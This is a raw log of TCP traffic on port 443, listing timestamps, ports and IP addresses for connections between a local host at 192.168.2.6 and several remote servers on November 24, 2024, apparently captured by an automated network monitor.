Nov 24, 2024 04:20:25.359436989 CET	443	49737	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.359481096 CET	49737	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.359482050 CET	49737	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.359492064 CET	443	49737	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.359543085 CET	49737	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.363105059 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.363122940 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.363181114 CET	49738	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.363187075 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.363231897 CET	49738	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.367996931 CET	443	49737	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.368016005 CET	443	49737	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.368108034 CET	49737	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.368108034 CET	49737	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.368123055 CET	443	49737	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.368247986 CET	49737	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.368922949 CET	49736	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.368932009 CET	443	49736	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.372155905 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.372170925 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.372201920 CET	49738	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.372206926 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.372237921 CET	49738	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.372261047 CET	49738	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.376111984 CET	443	49737	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.376133919 CET	443	49737	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.376193047 CET	49737	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.376200914 CET	443	49737	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.376213074 CET	49737	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.376239061 CET	49737	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.379822016 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.379836082 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.379882097 CET	49738	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.379887104 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.379914045 CET	49738	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.379931927 CET	49738	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.384613991 CET	443	49737	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.384632111 CET	443	49737	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.384723902 CET	49737	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.384723902 CET	49737	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.384733915 CET	443	49737	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.384788036 CET	49737	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.388787031 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.388803005 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.388855934 CET	49738	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.388861895 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.388905048 CET	49738	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.393230915 CET	443	49737	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.393253088 CET	443	49737	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.393290997 CET	49737	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.393297911 CET	443	49737	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.393348932 CET	49737	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.393348932 CET	49737	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.397214890 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.397237062 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.397284031 CET	49738	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.397289991 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.397325993 CET	49738	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.397341967 CET	49738	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.406049013 CET	49753	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.406080008 CET	443	49753	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.406148911 CET	49753	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.406162977 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.406178951 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.406222105 CET	49738	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.406227112 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.406259060 CET	49738	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.406590939 CET	49753	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.406610966 CET	443	49753	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.415177107 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.415194035 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.415267944 CET	49738	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.415272951 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.415332079 CET	49738	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.425050974 CET	443	49745	20.198.119.143	192.168.2.6
Nov 24, 2024 04:20:25.425168991 CET	443	49745	20.198.119.143	192.168.2.6
Nov 24, 2024 04:20:25.425234079 CET	49745	443	192.168.2.6	20.198.119.143
Nov 24, 2024 04:20:25.425406933 CET	49745	443	192.168.2.6	20.198.119.143
Nov 24, 2024 04:20:25.425416946 CET	443	49745	20.198.119.143	192.168.2.6
Nov 24, 2024 04:20:25.426335096 CET	443	49737	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.426359892 CET	443	49737	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.426467896 CET	49737	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.426467896 CET	49737	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.426491022 CET	443	49737	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.426561117 CET	49737	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.427480936 CET	443	49737	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.427550077 CET	443	49737	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.427565098 CET	49737	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.427634001 CET	49737	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.429354906 CET	49737	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.429372072 CET	443	49737	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.442143917 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.442162037 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.442219019 CET	49738	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.442226887 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.442269087 CET	49738	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.573604107 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.573625088 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.573679924 CET	49738	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.573688984 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.573728085 CET	49738	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.573741913 CET	49738	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.576642990 CET	443	49747	20.103.156.88	192.168.2.6
Nov 24, 2024 04:20:25.576738119 CET	49747	443	192.168.2.6	20.103.156.88
Nov 24, 2024 04:20:25.582387924 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.582406044 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.582499027 CET	49738	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.582504988 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.582547903 CET	49738	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.590043068 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.590058088 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.590111971 CET	49738	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.590117931 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.590158939 CET	49738	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.598864079 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.598877907 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.598934889 CET	49738	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.598941088 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.598978996 CET	49738	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.607109070 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.607125044 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.607173920 CET	49738	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.607178926 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.607227087 CET	49738	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.615767956 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.615783930 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.615868092 CET	49738	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.615874052 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.615916967 CET	49738	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.624577999 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.624594927 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.624670982 CET	49738	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.624675035 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.624775887 CET	49738	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.634572983 CET	443	49746	20.103.156.88	192.168.2.6
Nov 24, 2024 04:20:25.634658098 CET	49746	443	192.168.2.6	20.103.156.88
Nov 24, 2024 04:20:25.651818991 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.651837111 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.651897907 CET	49738	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.651905060 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.651949883 CET	49738	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.651968002 CET	49738	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.781910896 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.781970978 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.782006979 CET	49738	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.782016993 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.782047987 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:25.782047987 CET	49738	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.782071114 CET	49738	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:25.782099009 CET	49738	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:26.116806984 CET	443	49749	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:26.117916107 CET	443	49748	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:26.162195921 CET	49749	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:26.162199020 CET	49748	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:26.182925940 CET	443	49751	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:26.193113089 CET	49749	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:26.193124056 CET	443	49749	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:26.198055983 CET	49749	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:26.198061943 CET	443	49749	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:26.200572968 CET	49748	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:26.200589895 CET	443	49748	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:26.201313972 CET	49748	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:26.201322079 CET	443	49748	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:26.227655888 CET	49751	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:26.247678041 CET	443	49750	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:26.291116953 CET	49751	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:26.291124105 CET	443	49751	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:26.291774035 CET	49751	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:26.291779041 CET	443	49751	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:26.302361965 CET	49750	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:26.307528973 CET	49750	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:26.307544947 CET	443	49750	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:26.308821917 CET	49750	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:26.308829069 CET	443	49750	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:26.319123983 CET	443	49752	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:26.343483925 CET	49752	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:26.343497992 CET	443	49752	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:26.344238043 CET	49752	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:26.344244003 CET	443	49752	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:26.557468891 CET	49758	443	192.168.2.6	142.250.181.100
Nov 24, 2024 04:20:26.557509899 CET	443	49758	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:26.557595968 CET	49758	443	192.168.2.6	142.250.181.100
Nov 24, 2024 04:20:26.557734013 CET	49759	443	192.168.2.6	142.250.181.100
Nov 24, 2024 04:20:26.557775021 CET	443	49759	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:26.557832956 CET	49759	443	192.168.2.6	142.250.181.100
Nov 24, 2024 04:20:26.557946920 CET	49760	443	192.168.2.6	142.250.181.100
Nov 24, 2024 04:20:26.558001041 CET	443	49760	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:26.558049917 CET	49760	443	192.168.2.6	142.250.181.100
Nov 24, 2024 04:20:26.558255911 CET	49758	443	192.168.2.6	142.250.181.100
Nov 24, 2024 04:20:26.558270931 CET	443	49758	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:26.558408976 CET	49760	443	192.168.2.6	142.250.181.100
Nov 24, 2024 04:20:26.558437109 CET	443	49760	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:26.558592081 CET	49759	443	192.168.2.6	142.250.181.100
Nov 24, 2024 04:20:26.558609009 CET	443	49759	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:26.560267925 CET	443	49749	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:26.560342073 CET	443	49749	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:26.560508966 CET	49749	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:26.562769890 CET	443	49748	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:26.562845945 CET	443	49748	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:26.562932014 CET	49748	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:26.564322948 CET	49761	443	192.168.2.6	142.250.181.100
Nov 24, 2024 04:20:26.564359903 CET	443	49761	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:26.564646959 CET	49761	443	192.168.2.6	142.250.181.100
Nov 24, 2024 04:20:26.564908028 CET	49761	443	192.168.2.6	142.250.181.100
Nov 24, 2024 04:20:26.564923048 CET	443	49761	142.250.181.100	192.168.2.6
Nov 24, 2024 04:20:26.569854975 CET	49749	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:26.569854975 CET	49749	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:26.569866896 CET	443	49749	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:26.569875956 CET	443	49749	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:26.578003883 CET	49748	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:26.578003883 CET	49748	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:26.578028917 CET	443	49748	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:26.578042030 CET	443	49748	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:26.595078945 CET	49762	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:26.595118999 CET	443	49762	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:26.595186949 CET	49762	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:26.595352888 CET	49762	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:26.595366955 CET	443	49762	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:26.595928907 CET	49763	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:26.595947981 CET	443	49763	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:26.596031904 CET	49763	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:26.596270084 CET	49763	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:26.596285105 CET	443	49763	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:26.617120981 CET	443	49751	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:26.617201090 CET	443	49751	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:26.617252111 CET	49751	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:26.617841005 CET	49751	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:26.617841005 CET	49751	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:26.617850065 CET	443	49751	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:26.617861032 CET	443	49751	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:26.622071028 CET	49764	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:26.622109890 CET	443	49764	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:26.622179985 CET	49764	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:26.623955011 CET	49764	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:26.623970032 CET	443	49764	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:26.711294889 CET	443	49750	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:26.711483955 CET	443	49750	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:26.711579084 CET	49750	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:26.711831093 CET	49750	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:26.711831093 CET	49750	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:26.711854935 CET	443	49750	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:26.711867094 CET	443	49750	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:26.715508938 CET	49765	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:26.715534925 CET	443	49765	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:26.715662956 CET	49765	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:26.715893030 CET	49765	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:26.715905905 CET	443	49765	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:26.763057947 CET	443	49752	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:26.763120890 CET	443	49752	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:26.763242960 CET	49752	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:26.763364077 CET	49752	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:26.763389111 CET	443	49752	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:26.763398886 CET	49752	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:26.763406992 CET	443	49752	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:26.766968966 CET	49766	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:26.767010927 CET	443	49766	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:26.767113924 CET	49766	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:26.767306089 CET	49766	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:26.767324924 CET	443	49766	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:26.828263044 CET	49747	443	192.168.2.6	20.103.156.88
Nov 24, 2024 04:20:26.828280926 CET	443	49747	20.103.156.88	192.168.2.6
Nov 24, 2024 04:20:26.828632116 CET	443	49747	20.103.156.88	192.168.2.6
Nov 24, 2024 04:20:26.828675032 CET	49747	443	192.168.2.6	20.103.156.88
Nov 24, 2024 04:20:26.829374075 CET	49746	443	192.168.2.6	20.103.156.88
Nov 24, 2024 04:20:26.829394102 CET	443	49746	20.103.156.88	192.168.2.6
Nov 24, 2024 04:20:26.829839945 CET	443	49746	20.103.156.88	192.168.2.6
Nov 24, 2024 04:20:26.829941034 CET	49746	443	192.168.2.6	20.103.156.88
Nov 24, 2024 04:20:26.830311060 CET	49738	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:26.830327034 CET	443	49738	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:26.838099957 CET	49747	443	192.168.2.6	20.103.156.88
Nov 24, 2024 04:20:26.838138103 CET	443	49747	20.103.156.88	192.168.2.6
Nov 24, 2024 04:20:26.838613033 CET	49746	443	192.168.2.6	20.103.156.88
Nov 24, 2024 04:20:26.838648081 CET	443	49746	20.103.156.88	192.168.2.6
Nov 24, 2024 04:20:26.998250961 CET	443	49753	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:26.998317957 CET	49753	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:27.031773090 CET	49753	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:27.031799078 CET	443	49753	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:27.032125950 CET	49753	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:27.032138109 CET	443	49753	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:27.259443998 CET	443	49746	20.103.156.88	192.168.2.6
Nov 24, 2024 04:20:27.259480000 CET	443	49746	20.103.156.88	192.168.2.6
Nov 24, 2024 04:20:27.259514093 CET	49746	443	192.168.2.6	20.103.156.88
Nov 24, 2024 04:20:27.259526014 CET	443	49746	20.103.156.88	192.168.2.6
Nov 24, 2024 04:20:27.259540081 CET	49746	443	192.168.2.6	20.103.156.88
Nov 24, 2024 04:20:27.259603024 CET	49746	443	192.168.2.6	20.103.156.88
Nov 24, 2024 04:20:27.259610891 CET	443	49746	20.103.156.88	192.168.2.6
Nov 24, 2024 04:20:27.259624004 CET	443	49746	20.103.156.88	192.168.2.6
Nov 24, 2024 04:20:27.259654999 CET	49746	443	192.168.2.6	20.103.156.88
Nov 24, 2024 04:20:27.259707928 CET	49746	443	192.168.2.6	20.103.156.88
Nov 24, 2024 04:20:27.269040108 CET	49746	443	192.168.2.6	20.103.156.88
Nov 24, 2024 04:20:27.269053936 CET	443	49746	20.103.156.88	192.168.2.6
Nov 24, 2024 04:20:27.394283056 CET	443	49747	20.103.156.88	192.168.2.6
Nov 24, 2024 04:20:27.394303083 CET	443	49747	20.103.156.88	192.168.2.6
Nov 24, 2024 04:20:27.394378901 CET	443	49747	20.103.156.88	192.168.2.6
Nov 24, 2024 04:20:27.394397974 CET	49747	443	192.168.2.6	20.103.156.88
Nov 24, 2024 04:20:27.394481897 CET	49747	443	192.168.2.6	20.103.156.88
Nov 24, 2024 04:20:27.395169020 CET	49747	443	192.168.2.6	20.103.156.88
Nov 24, 2024 04:20:27.395184040 CET	443	49747	20.103.156.88	192.168.2.6
Nov 24, 2024 04:20:27.485411882 CET	443	49753	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:27.485435009 CET	443	49753	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:27.485450983 CET	443	49753	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:27.485465050 CET	49753	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:27.485512972 CET	49753	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:27.485526085 CET	443	49753	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:27.485573053 CET	49753	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:27.683151007 CET	443	49753	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:27.683180094 CET	443	49753	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:27.683243990 CET	49753	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:27.683270931 CET	443	49753	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:27.683291912 CET	49753	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:27.683322906 CET	49753	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:27.728245020 CET	443	49753	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:27.728271961 CET	443	49753	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:27.728348017 CET	49753	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:27.728383064 CET	443	49753	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:27.728440046 CET	49753	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:27.859105110 CET	443	49753	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:27.859122992 CET	443	49753	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:27.859191895 CET	49753	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:27.859210014 CET	443	49753	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:27.859689951 CET	49753	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:27.889897108 CET	443	49753	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:27.889914989 CET	443	49753	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:27.889961004 CET	49753	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:27.889983892 CET	443	49753	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:27.890003920 CET	49753	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:27.890079975 CET	49753	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:27.910923004 CET	443	49753	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:27.910943031 CET	443	49753	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:27.910984993 CET	49753	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:27.911000013 CET	443	49753	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:27.911020041 CET	49753	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:27.911043882 CET	49753	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:27.933123112 CET	443	49753	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:27.933140993 CET	443	49753	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:27.933233023 CET	49753	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:27.933274031 CET	443	49753	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:27.933331966 CET	49753	443	192.168.2.6	150.171.28.10
Nov 24, 2024 04:20:28.056052923 CET	443	49753	150.171.28.10	192.168.2.6
Nov 24, 2024 04:20:28.056102991 CET	443	49753	150.171.28.10	192.168.2.6
